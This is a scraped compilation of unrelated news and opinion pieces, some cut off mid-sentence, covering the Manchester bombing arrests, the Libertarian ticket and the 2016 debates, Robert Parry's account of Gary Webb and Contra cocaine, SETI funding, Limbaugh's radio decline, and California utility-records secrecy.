of it honored? Please share below in the comments! Edited to add: the editors of Scrubs magazine have since apologized, pulled the offending post, and announced their intentions to do a more in-depth look into birth plans on Scrubsmag.com. They're now inviting feedback from nurses about the "importance of birth plans and respecting parents' wishes." Kudos to all who spoke up about the original post and to the magazine editors who listened.Photo from the night of the attack. Photo from the night of the attack. Updated at 11pm POLICE IN THE UK have arrested six men and one woman in connection with the Manchester bombing that killed 22 people and injured dozens more. The latest man was arrested after searches at an address in Nuneaton, Warwickshire. This morning, the Greater Manchester Police (GMP) said that four men were arrested after warrants were issued in connection with the investigation. Police arrested a woman after a raid on a block of flats in Blackley, Manchester. They’ve also arrested a sixth in Wigan. “We have made an arrest in Wigan this afternoon in connection with the investigation into the horrific incident at Manchester Arena,” police said in a statement. When arrested, the man was carrying a package which we are currently assessing. Police say that those arrested remain in custody for questioning. Reuters are also reporting that the younger brother and father of the bomber Salman Abedi have been arrested in the Libyan capital of Tripoli. A local counter-terrorism force told Reuters that both men were detained yesterday evening, but this hasn’t yet been confirmed. Security The attacker was named yesterday as Salman Abedi, a British man of Libyan heritage who died in the explosion. British interior minister Amber Rudd said today that it was likely that Abedi was not acting alone. “It was a devastating occasion, it was more sophisticated than some of the attacks we’ve seen before, and it seems likely – possible – that he wasn’t doing this on his own,” she told BBC radio. Rudd confirmed that Abedi had been on the radar for security services before the attack. We do know that he was known up to a point to the intelligence services,” she told Sky News. Clarifying this on the BBC she said: “The security services will know a lot of people. It doesn’t mean that they’re expected to arrest everybody they know. But it is somebody that they had known. She said she had “complete confidence” in the security services. Last night UK prime minister Theresa May raised the terror threat in Britain to ‘Critical’, the highest it has been for a decade, indicating a terror attack is expected imminently. In practice, this will see armed military forces at important sites and key locations, as well as at events such as concerts and sports matches. With reporting from AFPTwo weeks ago, as Nick Gillespie reported in this space, Libertarian Party presidential nominee Gary Johnson said that it was "game over" if he was not included in the first 2016 presidential debate on Sept. 26. Given that the Democratic/Republican-controlled "nonpartisan" Commission on Presidential Debates (CPD) will choose the debate roster in mid-September based on a five-agency polling average that currently sits at 8.8 percent, well short of the required 15 percent, for Johnson, the irresistible force of the LP's debate-centric focus has been on a collision course with the immovable object of the CPD's unreasonably high threshold. Until, it seems, this afternoon. No matter how much independent-bent political celebrities such as Mitt Romney, Arnold Schwarzenegger, and Mitch Daniels support the L.P. ticket being included in the debates, and no matter how much that motion is seconded by solid majorities of the American voting public, rules are rules, and when said rules are written by the Republican and Democratic parties, Libertarians are screwed. Unless, vice presidential nominee William Weld told me this afternoon, the mounting outrage at the "rigged" system is married to the sight of the two candidates outside every debate venue, making a mockery of the proceedings inside by answering every question simultaneously, only better: "So I'm no longer so sure that it's game over if we're not in the debates," Weld told me. "I think there's going to be kind of a national uproar if we're not in the debates, and we will join in that uproar, and be standing together on the street corner outside every debate venue answering the same questions as in the debate in real time, you know, putting it out on Facebook Live." Weld made the same promise during his address at a midtown Manhattan rally this afternoon, which was attended by 500-plus enthusiastic supporters. "We've seen that the little videos that we record in 90 seconds are seen by 15, 18 million people in a matter of less than two weeks," he told me, "so that kind of free media attention might continue all the way from now until November 8th as a result of our exclusion. That would be a substitute, at least in part, for being in the debates, and it would give us the high ground. It's ground that I think we could occupy with some happiness."FaceApp and similar reality-warping applications are especially fun to use in ways their designers never intended. Along similar lines, Google’s DeepDream (designed for photo manipulation) creates fascinating results using photographs but is even more stunning when applied to representations of cityscapes. While training DeepDream (a neural network that adapts like a brain to new inputs) to identify, differentiate and understand images, Google researchers discovered it could “over-interpret” results as well. In short: it could start to “read into” images from previous experience, resulting in an array of beautiful (if disturbing) hybrids. Once it went public, mapmakers were among those intrigued by the possibilities of geo-visualization, turning flat maps into seemingly living landscapes. Tim Waters, a geospatial developer, began taking OpenStreetMap data and running it through the system, generating these strangely psychedelic urban environments. He discovered that a short run could create fractal and quilting effects, while longer and reiterated processing started to introduce faces and creatures to the mix. Above: monkeys and frogs seem to emerge from the grid, while a coastal region forms the head of a bear, making the landscape look like a giant bearskin rug. Overall, the effects are quite beautiful, creating a sense of depth and adding character to what would otherwise be fairly generic representations.From the Archive: Modern U.S. history is more complete because journalist Gary Webb had the courage to revive the dark story of the Reagan administration’s protection of Nicaraguan Contra cocaine traffickers in the 1980s. But Webb ultimately paid a terrible price, as Robert Parry reports. By Robert Parry (Originally published Dec. 9, 2011) Every year since investigative journalist Gary Webb took his own life in 2004, I have marked the anniversary of that sad event by recalling the debt that American history owes to Webb for his brave reporting, which revived the Contra-cocaine scandal in 1996 and forced important admissions out of the Central Intelligence Agency two years later. But Webb’s suicide on the evening of Dec. 9, 2004, was also a tragic end for one man whose livelihood and reputation were destroyed by a phalanx of major newspapers the New York Times, the Washington Post and the Los Angeles Times serving as protectors of a corrupt power structure rather than as sources of honest information. In reviewing the story again this year, I was struck by how Webb’s Contra-cocaine experience was, in many ways, a precursor to the subsequent tragedy of the Iraq War. In the 1980s, the CIA’s analytical division was already showing signs of politicization, especially regarding President Ronald Reagan’s beloved Contras and their war against Nicaragua’s Sandinista government and the U.S. press corps was already bending to the propaganda pressures of a right-wing Republican administration. Looking back at CIA cables from the early-to-mid-1980s, you can already see the bias dripping from the analytical reports. Any drug accusation against the leftist Sandinistas was accepted without skepticism and usually with strong exaggeration, while the opposite occurred with evidence of Contra cocaine smuggling; then there was endless quibbling and smearing of sources. So, to put these reports in anything close to an accurate focus, you would need special lenses to correct for all the politicized distortions. Yet, the U.S. news media, which itself was under intense pressure not to appear “liberal,” worsened the Reagan administration’s fun-house reflection of reality and attacked any dissident journalist who wouldn’t go along. Thus, Americans heard a lot about how the evil Sandinistas were trying to “poison” America’s youth with cocaine, although there was not a single interception of a drug shipment from Nicaragua during the Sandinista reign, except for one planeload of cocaine that the United States flew into and out of Nicaraguan in a clumsy “sting” operation. On the other hand, substantial evidence of Contra-related cocaine shipments out of Costa Rica and Honduras was kept from the American people with Reagan’s Justice Department and CIA intervening to head off investigations and thus prevent embarrassing disclosures. The chief role of the big newspapers in this upside-down world was to heap ridicule on anyone who told the truth. During that time frame of the early-to-mid-1980s, the patterns were set for CIA analysts to advance their careers (by giving the president what he wanted) and mainstream journalists to protect theirs (by accepting propaganda). By 2002-2003, these patterns had become deeply engrained, leaving almost no one to protect the American people from a new round of falsehoods aimed at Iraq. Though I was not in touch with Webb in the last months of his life in 2004, I have always wondered if he saw this connection between his own valiant efforts to correct the historical record about Contra-cocaine trafficking in 1996 and the victory of lies over truth regarding Iraq’s WMD in 2002-2003. In the weeks before Webb’s suicide, there also was the intervening fact of George W. Bush’s reelection and with it, the dashed expectation that the CIA analysts and the mainstream journalists who played along with the Iraq-WMD fabrications might face some serious accountability. At the moment when Webb picked up his father’s pistol and put it to his head, there must have appeared little hope that anything would change. Indeed, we are now seeing yet another replay of this systematic distortion of information, this time regarding Iran and its alleged nuclear weapons program. Any tidbit of information against Iran is exaggerated, while exculpatory data is downplayed or ignored. So, it may be timely again to recount what happened to Gary Webb and to reflect on the dangers of allowing this corrupt disinformation system to press ahead unchecked. Dark Alliance For me, the tragic story of Gary Webb began in 1996 when he was working on his “Dark Alliance” series for the San Jose Mercury News. He called me at my home in Arlington, Virginia, because, in 1985, I and my Associated Press colleague Brian Barger had been the first journalists to reveal the scandal of Reagan’s Nicaraguan Contras funding themselves in part by collaborating with drug traffickers. Webb explained that he had come across evidence that one Contra-connected drug conduit had funneled cocaine into Los Angeles, where it helped fuel the early crack epidemic. Unlike our AP stories a decade earlier, which focused on the Contras helping to ship cocaine from Central America into the United States, Webb said his series would examine what happened to the Contra cocaine after it reached the streets of Los Angeles and other cities. Besides asking about my recollections of the Contras and their cocaine smuggling, Webb wanted to know why the scandal never gained any real traction in the U.S. national news media. I explained that the ugly facts of the drug trafficking ran up against a determined U.S government campaign to protect the Contras’ image. In the face of that resistance, I said, the major publications, the likes of the New York Times and the Washington Post, had chosen to attack the revelations and those behind them rather than to dig up more evidence. Webb sounded confused by my account, as if I were telling him something that was foreign to his personal experience, something that just didn’t compute. I had a sense of his unstated questions: Why would the prestige newspapers of American journalism behave that way? Why wouldn’t they jump all over a story that important and that sexy, about the CIA working with drug traffickers? I took a deep breath, sensing that he had no idea of the personal danger he was about to confront. Well, he would have to learn that for himself, I thought. It surely wasn’t my place to warn a journalist away from a significant story just because it carried risks. So, I simply asked Webb if he had the strong support of his editors. He assured me that he did. I said their backing would be crucial once his story was out. He sounded perplexed, again, as if he didn’t know what to make of my cautionary tone. I wished him the best of luck, thinking that he would need it. The Safe Route When I hung up, I wasn’t sure that the Mercury News would really press ahead with the story, considering how the big national news outlets had dismissed and ridiculed the notion that President Reagan’s beloved Contras had included a large number of drug traffickers. It never seemed to matter how much evidence there was. It was much easier, and safer, career-wise, for Washington journalists to reject incriminating testimony against the Contras, especially when it came from other drug traffickers and from disgruntled Contras. Even U.S. law-enforcement officials who discovered evidence were disparaged as overzealous and congressional investigators were painted as partisan. In 1985, as we were preparing our first AP story on this topic, Barger and I knew that the evidence of Contra-cocaine involvement was overwhelming. We had a broad range of sources both inside the Contra movement and within the U.S. government, people with no apparent ax to grind who had described the cocaine-smuggling problem. One source was a field agent for the Drug Enforcement Administration (DEA); another was a senior official on Reagan’s National Security Council (NSC) who told me that he had read a CIA report about how a Contra unit based in Costa Rica had used cocaine profits to buy a helicopter. However, after our AP story was published in December 1985, we came under attack from the right-wing Washington Times. That was followed by dismissive stories in the New York Times and the Washington Post. The notion that the Contras, whom President Reagan had likened to America’s Founding Fathers, could be implicated in the drug trade was simply unthinkable. Yet, it was always odd to me that many of the same newspapers had no problem accepting the fact that the CIA-backed Afghan mujahedeen were involved in the heroin trade, but bristled at the thought that the CIA-backed Nicaraguan Contras might be cut from the same cloth. A key difference, which I learned both from personal experience and from documents that surfaced during the Iran-Contra scandal, was that Reagan had assigned a young group of ambitious intellectuals such as Elliott Abrams and Robert Kagan to oversee the Contra war. These neoconservatives worked with old-line anticommunists from the Cuban-American community, such as Otto Reich, and CIA propagandists, such as Walter Raymond Jr., to aggressively protect the Contras’ image. And the Contras were always on the edge between getting congressional funding or having it cut off. So, that combination, the propaganda skills of Reagan’s Contra-support team and the fragile consensus for continuing Reagan’s pet Contra war, meant that any negative publicity about the Contras would be met with a fierce counterattack. Going to Editors The neoconservatives were also bright, well-schooled, and skilled in their manipulation of language and information, a process they privately called “perception management.” They proved adept, too, at ingratiating themselves with senior editors at major news outlets. By the mid-1980s, these patterns had become well-worn in Washington. If a journalist dug up a story that put the Contras in a negative light, he or she could expect the Reagan administration’s propaganda team to make contact with a senior editor or bureau chief and lodge a complaint, apply some pressure, and often offer up some dirt about the offending journalist. Also, many news executives in that time frame were sympathetic toward Reagan’s hard-line foreign policy, especially after the humiliations of the Vietnam War and the Iranian revolution. Supporting U.S. initiatives abroad, or at least not allowing your reporters to undercut those policies, was seen as patriotic. At the New York Times, executive editor Abe Rosenthal was one of the news media’s most influential neoconservatives, declaring that he was determined to steer the newspaper back to “the center,” by which he meant to the right. At AP, general manager Keith Fuller was known to be a strong Reagan supporter and his preferences were sometimes expressed forcefully to AP’s Washington bureau where I worked. At the Washington Post and Newsweek (where I went to work in 1987), there was also a strong sense that Reagan-era scandals should not reach the president, that it would not be “good for the country.” In other words, on the issue of Contra drug trafficking, there was a confluence of interests between the Reagan administration, which was determined to protect the Contras’ public image, and senior news executives, who wanted to adopt a “patriotic” posture after convincing themselves that the country shouldn’t endure another wrenching battle over wrongdoing by a Republican president. The popular image of courageous editors standing up for their reporters in the face of government pressure was not the reality, especially not where the Contras were concerned. Reverse Rewards So, instead of a process that outsiders might imagine, where journalists who dug out tough stories got rewarded, the actual system worked in the opposite way. The careerists in the news business quickly grasped that the smart play when it came to the Contras was either to be a booster or at least to pooh-pooh evidence of the Contras’ brutality or drug traffickers. The same rules applied to congressional investigators. Anyone who pried into the dark corners of the Nicaraguan Contra war faced ridicule, as happened to Democratic Sen. John Kerry of Massachusetts when he followed up the early AP stories with a courageous investigation that discovered more ties between cocaine traffickers and the Contras. When his Contra-cocaine report was released in 1989, its findings were greeted with yawns and smirks. News articles were buried deep inside the major newspapers and the stories focused more on alleged flaws in his investigation than on his revelations. For his hard work, Newsweek summed up the prevailing “conventional wisdom” on Kerry by calling him a “randy conspiracy buff.” Being associated with breaking the Contra-cocaine story was also regarded as a black mark on my own career. To function in this upside-down world, where reality and perception often clashed and perception usually won the big news outlets developed a kind of cognitive dissonance that could accept two contradictory positions. On one level, the news outlets did accept the undeniable reality that some of the Contras and their backers, including the likes of Panamanian General Manuel Noriega, were implicated in the drug trade, but then simultaneously treated this reality as a conspiracy theory. Squaring the Circle Only occasionally did a major news outlet seek to square this circle, such as during Noriega’s drug-trafficking trial in 1991 when U.S. prosecutors called as a witness Colombian MedellÃn cartel kingpin Carlos Lehder, who, along with implicating Noriega, testified that the cartel had given $10 million to the Contras, an allegation first unearthed by Sen. Kerry. “The Kerry hearings didn’t get the attention they deserved at the time,” a Washington Post editorial on Nov. 27, 1991, acknowledged. “The Noriega trial brings this sordid aspect of the Nicaraguan engagement to fresh public attention.” However, the Post offered its readers no explanation for why Kerry’s hearings had been largely ignored, with the Post itself a leading culprit in this journalistic misfeasance. Nor did the Post and the other leading newspapers use the opening created by the Noriega trial to do anything to rectify their past neglect. And, everything quickly returned to the status quo in which the desired perception of the noble Contras trumped the clear reality of their criminal activities. So, from 1991 until 1996, the Contra-cocaine scandal remained a disturbing story not just about the skewed moral compass of the Reagan administration but also about how the U.S. news media had lost its way. The scandal was a dirty secret that was best kept out of public view and away from a thorough discussion. After all, the journalistic careerists who had played along with the U.S. government’s Contra defenders had advanced inside their media corporations. As good team players, they had moved up to be bureau chiefs and other news executives. They had no interest in revisiting one of the big stories that they had downplayed as a prerequisite for their success. Pariahs Meanwhile, those journalists who had exposed these national security crimes mostly saw their careers sink or at best slide sideways. We were regarded as “pariahs” in our profession. We were “conspiracy theorists,” even though our journalism had proven to be correct again and again. The Post’s admission that the Contra-cocaine scandal “didn’t get the attention it deserved” didn’t lead to any soul-searching inside the U.S. news media, nor did it result in any rehabilitation of the careers of the reporters who had tried to put a spotlight on this especially vile secret. As for me, after losing battle after battle with my Newsweek editors (who despised the Iran-Contra scandal that I had worked so hard to expose), I departed the magazine in June 1990 to write a book (called Fooling America) about the decline of the Washington press corps and the parallel rise of the new generation of government propagandists. I was also hired by PBS Frontline to investigate whether there had been a prequel to the Iran-Contra scandal, whether those arms-for-hostage deals in the mid-1980s had been preceded by contacts between Reagan’s 1980 campaign staff and Iran, which was then holding 52 Americans hostage and essentially destroying Jimmy Carter’s reelection hopes. [For more on that topic, see Robert Parry’s Secrecy & Privilege and America’s Stolen Narrative.] Then, in 1995, frustrated by the pervasive triviality that had come to define American journalism, and acting on the advice of and with the assistance of my oldest son Sam, I turned to a new medium and launched the Internet’s first investigative news magazine, known as Consortiumnews.com. The Web site became a way for me to put out well-reported stories that my former mainstream colleagues seemed determined to ignore or mock. So, when Gary Webb called me that day in 1996, I knew that he was charging into some dangerous journalistic terrain, though he thought he was simply pursuing a great story. After his call, it struck me that perhaps the only way for the Contra-cocaine story to ever get the attention that it deserved was for someone outside the Washington media culture to do the work. When Webb’s “Dark Alliance” series finally appeared in late August 1996, it initially drew little attention. The major national news outlets applied their usual studied indifference to a topic that they had already judged unworthy of serious attention. It was also clear that the media careerists who had climbed up their corporate ladders by accepting the conventional wisdom that the Contra-cocaine story was a conspiracy theory weren’t about to look back down and admit that they had contributed to a major journalistic failure to inform and protect the American public. Hard to Ignore But Webb’s story proved hard to ignore. First, unlike the work that Barger and I did for AP in the mid-1980s, Webb’s series wasn’t just a story about drug traffickers in Central America and their protectors in Washington. It was about the on-the-ground consequences, inside the United States, of that drug trafficking, how the lives of Americans were blighted and destroyed as the collateral damage of a U.S. foreign policy initiative. In other words, there were real-life American victims, and they were concentrated in African-American communities. That meant the ever-sensitive issue of race had been injected into the controversy. Anger from black communities spread quickly to the Congressional Black Caucus, which started demanding answers. Secondly, the San Jose Mercury News, which was the local newspaper for Silicon Valley, had posted documents and audio on its state-of-the-art Internet site. That way, readers could examine much of the documentary support for the series. It also meant that the traditional “gatekeeper” role of the major newspapers, the New York Times, the Washington Post, and the Los Angeles Times, was under assault. If a regional paper like the Mercury News could finance a major journalistic investigation like this one, and circumvent the judgments of the editorial boards at the Big Three, then there might be a tectonic shift in the power relations of the U.S. news media. There could be a breakdown of the established order. This combination of factors led to the next phase of the Contra-cocaine battle: the “get-Gary-Webb” counterattack. The first major shot against Webb and his “Dark Alliance” series did not come from the Big Three but from the rapidly expanding right-wing news media, which was in no mood to accept the notion that some of President Reagan’s beloved Contras were drug traffickers. That would have cast a shadow over the Reagan Legacy, which the Right was elevating to mythic status. It fell to Rev. Sun Myung Moon’s right-wing Washington Times to begin the anti-Webb vendetta. Moon, a South Korean theocrat who fancied himself the new Messiah, had founded his newspaper in 1982 partly to protect Ronald Reagan’s political flanks and partly to ensure that he had powerful friends in high places. In the mid-1980s, the Washington Times went so far as to raise money to assist Reagan’s Contra “freedom fighters.” Self-Interested Testimony To refute Webb’s three-part series, the Washington Times turned to some ex-CIA officials, who had participated in the Contra war, and quoted them denying the story. Soon, the Washington Post, the New York Times, and the Los Angeles Times were lining up behind the Washington Times to trash Webb and his story. On Oct. 4, 1996, the Washington Post published a front-page article knocking down Webb’s series, although acknowledging that some Contra operatives did help the cocaine cartels. The Post’s approach was twofold, fitting with the national media’s cognitive dissonance on the topic of Contra cocaine: first, the Post presented the Contra-cocaine allegations as old news, “even CIA personnel testified to Congress they knew that those covert operations involved drug traffickers,” the Post sniffed, and second, the Post minimized the importance of the one Contra smuggling channel that Webb had highlighted in his series, saying that it had not “played a major role in the emergence of crack.” A Post sidebar story dismissed African-Americans as prone to “conspiracy fears.” Next, the New York Times and the Los Angeles Times weighed in with lengthy articles castigating Webb and “Dark Alliance.” The big newspapers made much of the CIA’s internal reviews in 1987 and 1988, almost a decade earlier, that supposedly had cleared the spy agency of any role in Contra-cocaine smuggling. But the CIA’s cover-up began to weaken on Oct. 24, 1996, when CIA Inspector General Frederick Hitz conceded before the Senate Intelligence Committee that the first CIA probe had lasted only12 days, and the second only three days. He promised a more thorough review. Mocking Webb Webb, however, had already crossed over from being a serious journalist to a target of ridicule. Influential Post media critic Howard Kurtz mocked Webb for saying in a book proposal that he would explore the possibility that the Contra war was primarily a business to its participants. “Oliver Stone, check your voice mail,” Kurtz chortled. However, Webb’s suspicion was no conspiracy theory. Indeed, White House aide Oliver North’s chief Contra emissary, Robert Owen, had made the same point in a March 17, 1986, message about the Contras leadership. “Few of the so-called leaders of the movement... really care about the boys in the field,” Owen wrote. “THIS WAR HAS BECOME A BUSINESS TO MANY OF THEM.” [Emphasis in original.] In other words, Webb was right and Kurtz was wrong, even Oliver North’s emissary had reported that many Contra leaders treated the conflict as “a business.” But accuracy had ceased to be relevant in the media’s hazing of Gary Webb. In another double standard, while Webb was held to the strictest standards of journalism, it was entirely all right for Kurtz, the supposed arbiter of journalistic integrity who was also featured on CNN’s Reliable Sources, to make judgments based on ignorance. Kurtz would face no repercussions for mocking a fellow journalist who was factually correct. The Big Three’s assault, combined with their disparaging tone, had a predictable effect on the executives of the Mercury News. As it turned out, Webb’s confidence in his editors had been misplaced. By early 1997, executive editor Jerry Ceppos, who had his own corporate career to worry about, was in retreat. On May 11, 1997, Ceppos published a front-page column saying the series “fell short of my standards.” He criticized the stories because they “strongly implied CIA knowledge” of Contra connections to U.S. drug dealers who were manufacturing crack cocaine. “We did not have enough proof that top CIA officials knew of the relationship,” Ceppos wrote. Ceppos was wrong about the proof, of course. At AP, before we published our first Contra-cocaine article in 1985, Barger and I had known that the CIA and Reagan’s White House were aware of the Contra-cocaine problem. However, Ceppos had recognized that he and his newspaper were facing a credibility crisis brought on by the harsh consensus delivered by the Big Three, a judgment that had quickly solidified into conventional wisdom throughout the major news media and inside Knight-Ridder, Inc., which owned the Mercury News. The only career-saving move career-saving for Ceppos even if career-destroying for Webb was to jettison Webb and his journalism. A ‘Vindication’ The big newspapers and the Contras’ defenders celebrated Ceppos’s retreat as vindication of their own dismissal of the Contra-cocaine stories. In particular, Kurtz seemed proud that his demeaning of Webb now had the endorsement of Webb’s editor. Ceppos next pulled the plug on the Mercury News’ continuing Contra-cocaine investigation and reassigned Webb to a small office in Cupertino, California, far from his family. Webb resigned from the paper in disgrace. For undercutting Webb and other Mercury News reporters working on the Contra-cocaine investigation, Ceppos was lauded by the American Journalism Review and was given the 1997 national Ethics in Journalism Award by the Society of Professional Journalists. While Ceppos won raves, Webb watched his career collapse and his marriage break up. Still, Gary Webb had set in motion internal government investigations that would bring to the surface long-hidden facts about how the Reagan administration had conducted the Contra war. The CIA published the first part of Inspector General Hitz’s findings on Jan. 29, 1998. Though the CIA’s press release for the report criticized Webb and defended the CIA, Hitz’s Volume One admitted that not only were many of Webb’s allegations true
they were in the city for two days, police said.City resident Santhosh Kumar, who had seen Wednesday's chain snatching at Elathur, witnessed Saturday's incident also, which led to the duo's arrest.It was the bike's Delhi registration number that caught Santhosh's attention on Saturday. He informed a few people, and along with them, chased and caught the duo."The arrests were recorded when a woman, who had lost her chain on Wednesday, identified the accused," assistant commissioner of police (Kozhikode North) Prince Abraham said. The men have been remanded in judicial custody. Police said they would seek their custody soon. Delhi police have been alerted about the kingpin, Sony.MOUNTAIN VIEW, Calif., April 25 (UPI) -- A telescope array in California built to listen for signals from distant alien civilizations has been shut down for lack of money, its operators say. The Allen Telescope Array has been put into "hibernation," its operators said, and "starting this week, the equipment is unavailable for normal observations and is being maintained in a safe state by a significantly reduced staff." The announcement came Friday in a letter to donors from Tom Person, chief executive officer of the SETI Institute in Mountain View, Calif., ScientificAmerican.com reported. The ATA is a partnership between the SETI Institute, which built the telescope array, and the University of California, Berkeley, which is responsible for operating it. The non-profit SETI Institute, founded in 1984, relies mostly on private donations to support its research. A number of early SETI Institute projects had been funded by NASA, but Congress stopped NASA's short-lived SETI program in 1993. The SETI Institute has been working for more than two years to find new funding, Person said, and has even offered ATA's services to the U.S. Air Force to assist in tracking orbital debris that can endanger defense satellites. "We are continuing discussions with the USAF and remain hopeful that this effort will help provide future operating funds," he wrote in the letter. ATA operations cost about $1.5 million per year, Pierson said.14.7k SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard Things have gone from bad to worse for Rush Limbaugh. Not only are radio stations looking to dump him, but his show is being forced to move to smaller lower-rated stations in an attempt to prevent a mass exodus of stations that carry his show. Indianapolis Business Journal reported on Limbaugh getting demoted way down the (ratings) dial: The Rush Limbaugh Show—set to be dropped by WIBC-FM 93.1 next month—will continue to be heard on Indianapolis radio airwaves without interruption after being picked up by iHeartMedia Inc. iHeartMedia Indianapolis announced Wednesday that it will begin airing Limbaugh live on weekdays on a new local station, 97.5 FM, beginning Monday, July 6, from noon to 3 p.m. It will air the same time on iHeartMedia’s WNDE-AM 1260. Limbaugh is going from being on a top ten station in the city to a station in the bottom three. It is widely rumored that Limbaugh is about to get the boot off of his station in Chicago after his ratings have fallen to 24th place in the city with an audience of 121,000 listeners. Limbaugh has already lost his stations in major markets Boston, New York, and Los Angeles. Radio stations don’t want Limbaugh’s show because of the combination of low ratings, poor advertising revenue, and declining audience. Things have gotten so bad that Cumulus had to scramble shove Limbaugh’s show on to a low rated Indianapolis sports station because they feared a mass exodus of affiliates. According to RadioInsight, “There’s no way iHeartMedia would’ve placed Limbaugh on an owned Sports station if the company had any other affiliation options in the market. You can bet iHeart’s local management would much rather utilize their new translator for something other than a mish-mosh of Sports and Limbaugh. But when everyone one else says no and you need to save face, options become limited. This way iHeart can spin it that they were able to find a strong affiliate for Limbaugh in Indianapolis to potentially keep other affiliates from bailing.” Rush Limbaugh is being dropped from stations that he has been on for decades because his show is a big money loser for the stations who carry it. More stations would love to dump Limbaugh, but Premiere and Clear Channel are shoving him down the throats of the stations that they own, and the former cash cow of conservative talk radio is being demoted to second and third tier stations in an attempt to stop the bleeding. Eric Boehlert of Media Matters argued that Limbaugh’s political influence has declined, but that is a potential chicken and egg argument. Did Limbaugh’s political decline lead to his show’s decline, or did the advertising boycott cause his empire to crumble and his political influence to wither? The timeline of events suggests that the advertiser boycott and the negative publicity from the Sandra Fluke scandal made Limbaugh toxic. Rush Limbaugh is slowly fading into obscurity. Conservative talk radio is going extinct, and its biggest dinosaur is vanishing. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Law allows state PUC to keep utilities data secret Anthony Moscarell walks on a bike path directly behind his Suisun City home thatês covering two high Pressure Natural Gas lines similar to the San Bruno explosion which killed eight people and destroyed more than 36 homes in the Crestmoor neighborhood Sept. 10, 2010. Moscarell has had limited success getting information from the PUC but knows both gas transmission lines are dated, one was built in 1948 and the other in 1965. Friday November 25, 2011. less Anthony Moscarell walks on a bike path directly behind his Suisun City home thatês covering two high Pressure Natural Gas lines similar to the San Bruno explosion which killed eight people and destroyed more... more Photo: Lance Iversen, The Chronicle Photo: Lance Iversen, The Chronicle Image 1 of / 10 Caption Close Law allows state PUC to keep utilities data secret 1 / 10 Back to Gallery Californians concerned about dangerous pipelines running underneath their neighborhoods are barred from obtaining government records about them by a 60-year-old state law backed by Pacific Gas and Electric Co. and other utilities, a Chronicle investigation shows. The vast majority of documents at the California Public Utilities Commission are off-limits to the public under the state law, and a related agency regulation, including investigation reports on natural-gas pipeline accidents and safety audits of companies like PG&E. "Everything is secret unless it is declared otherwise," said Frank Lindh, general counsel for the five-member utilities commission since 2008 and before that a lawyer for PG&E. In most other states, such documents are routinely available. But California's law - one of the strictest in the nation - requires a vote of the Public Utilities Commission for an outsider to see unreleased paperwork. Records show that the panel consults with utilities first. The commission's confidentiality powers have frustrated average citizens seeking information about pipelines in their community and even hampered accident-related investigations. "There's no transparency whatsoever," said Anthony Moscarelli, who was denied access to documents about two aging gas pipelines that run within feet of his home in Suisun City. "They are pretty much immune." Document destroyed After the September 2010 explosion of a PG&E pipeline in San Bruno that killed eight people, state regulators and PG&E officials couldn't locate a report detailing a natural-gas blast in 1963 that resulted in the heart attack death of a San Francisco firefighter and destroyed a home. PG&E and the utilities commission both stamped it confidential under the secrecy law, records show. The commission later destroyed its copy, officials say. "You just don't destroy" such documents, said Richard Kuprewicz, an independent safety expert who advises federal officials on pipeline safety regulations. They provide "critical historical information (that) can be used to help management make informed decisions about their system," he said. "The lack of transparency in utility regulation should be deeply alarming to anyone concerned about gas pipeline safety in California," said San Francisco City Attorney Dennis Herrera, whose office has labored to obtain documents from the Public Utilities Commission. New look likely California's secrecy statute has survived under the radar, but is likely to get more attention because of the San Bruno disaster. After a yearlong investigation, the National Transportation Safety Board blamed the explosion on long-standing neglect at PG&E and a failure by the utilities commission to track what was happening at the company it regulated. Lindh said the commission has been more open since San Bruno, and the agency has posted several documents connected to the disaster on its website, including pre-accident audits of PG&E. When it comes to pipeline safety issues, Lindh said, "for the most part I believe the public does deserve public information." "Nevertheless, we operate under the statutes," Lindh said. 'Confidential' records When the commission formed an independent panel of experts to probe the San Bruno explosion, it noted that PG&E could mark records "confidential" before submitting them to investigators. But the commission also said the panel could, when it published its report, release any records that PG&E could not "sufficiently justify" withholding from the public. Nine months later, the panel's final report referred to numerous documents and interviews with unidentified commission and utility employees that it said remained under wraps because PG&E had asserted its confidentiality rights under the law. San Bruno residents who lost family members and homes are also affected by secrecy laws. Under another statute, they aren't allowed to use the commission's investigative documents to buttress claims in a lawsuit. Nearly 100 lawsuits involving 350 victims have been filed against PG&E over the blast. And, despite Lindh's reassurances about the commission's increasing openness, numerous officials and ordinary Californians have been denied pipeline safety documents since the explosion, forcing them to appeal to the commission. 'Play a game' In June, Moscarelli got a letter from the commission saying it wouldn't release documents about the condition of two large natural gas pipelines running behind his Suisun City house because PG&E said it would pose "corporate and public safety risks." Moscarelli, who was seeking records showing whether the pipelines met safety requirements, said he was forced to "play a game" to cajole small amounts of information out of state regulators and PG&E. "If I charge forward, they'll clam up," he said. Lindh declined to comment on Moscarelli's case, saying the letter "speaks for itself." PG&E spokesman David Eisenhauer also declined to discuss the case, though he said some documents must be withheld for security reasons. "Any time we get requests for information, we work hard to comply with those and do so in a way that is open and transparent as we possibly can," he said. Rare in U.S. Only a handful of utilities commissions in other states - Alabama, Maine, Missouri, Oregon, Pennsylvania and Wyoming - have similar power to withhold documents from the public, according to a Chronicle survey of regulatory agencies nationwide. Other California state agencies and local governments don't have that authority. They are required by a state open records law to presume in most cases that official records are public. The secrecy statute was passed in 1951, along with a provision prohibiting the use of Public Utilities Commission investigation records in civil lawsuits. The commission also passed its own rule in the mid-1950s prohibiting release of documents, like accident reports, produced by commission staff. Terry Francke, an expert on government secrecy in the state, said the commission had "extraordinary" leeway to keep documents secret. "It doesn't appear to serve any public purpose," said Francke, general counsel of the nonprofit advocacy group Californians Aware. "It is simply protective of the industry." 'Antibiotic' "It's just crazy," said John Geesman, a retired member of the California Energy Commission whose policy-setting agency clashed with the utilities commission over its reliance on confidentiality. That argument was over whether commission secrecy undermined competition among electricity suppliers. But Geesman said the issue of transparency in pipeline safety is equally important. The commission and its regulated utilities operate under a tacit agreement that "things are just a lot easier if we don't have to deal with the ugly glare of public attention," Geesman said. But public attention is really an "antibiotic" that can prevent accidents like San Bruno, he said. Some utilities commissions in other states post pipeline accident investigation reports and inspections on a website after they are completed. In California, however, accident investigation reports are posted only if the Public Utilities Commission seeks punitive action against a company - something that has happened only once for a gas-related violation, a fatal explosion in Rancho Cordova (Sacramento County) in 2008. Herrera said his office has labored for months to learn details about the pipeline network running under San Francisco, including reports on the PG&E line that exploded in 1963 in Bernal Heights. "We certainly haven't gotten everything we wanted," Herrera said. "There should be more transparency." Even prosecutors and federal agencies have been forced to jump through hoops to obtain commission records. Cumbersome, costly 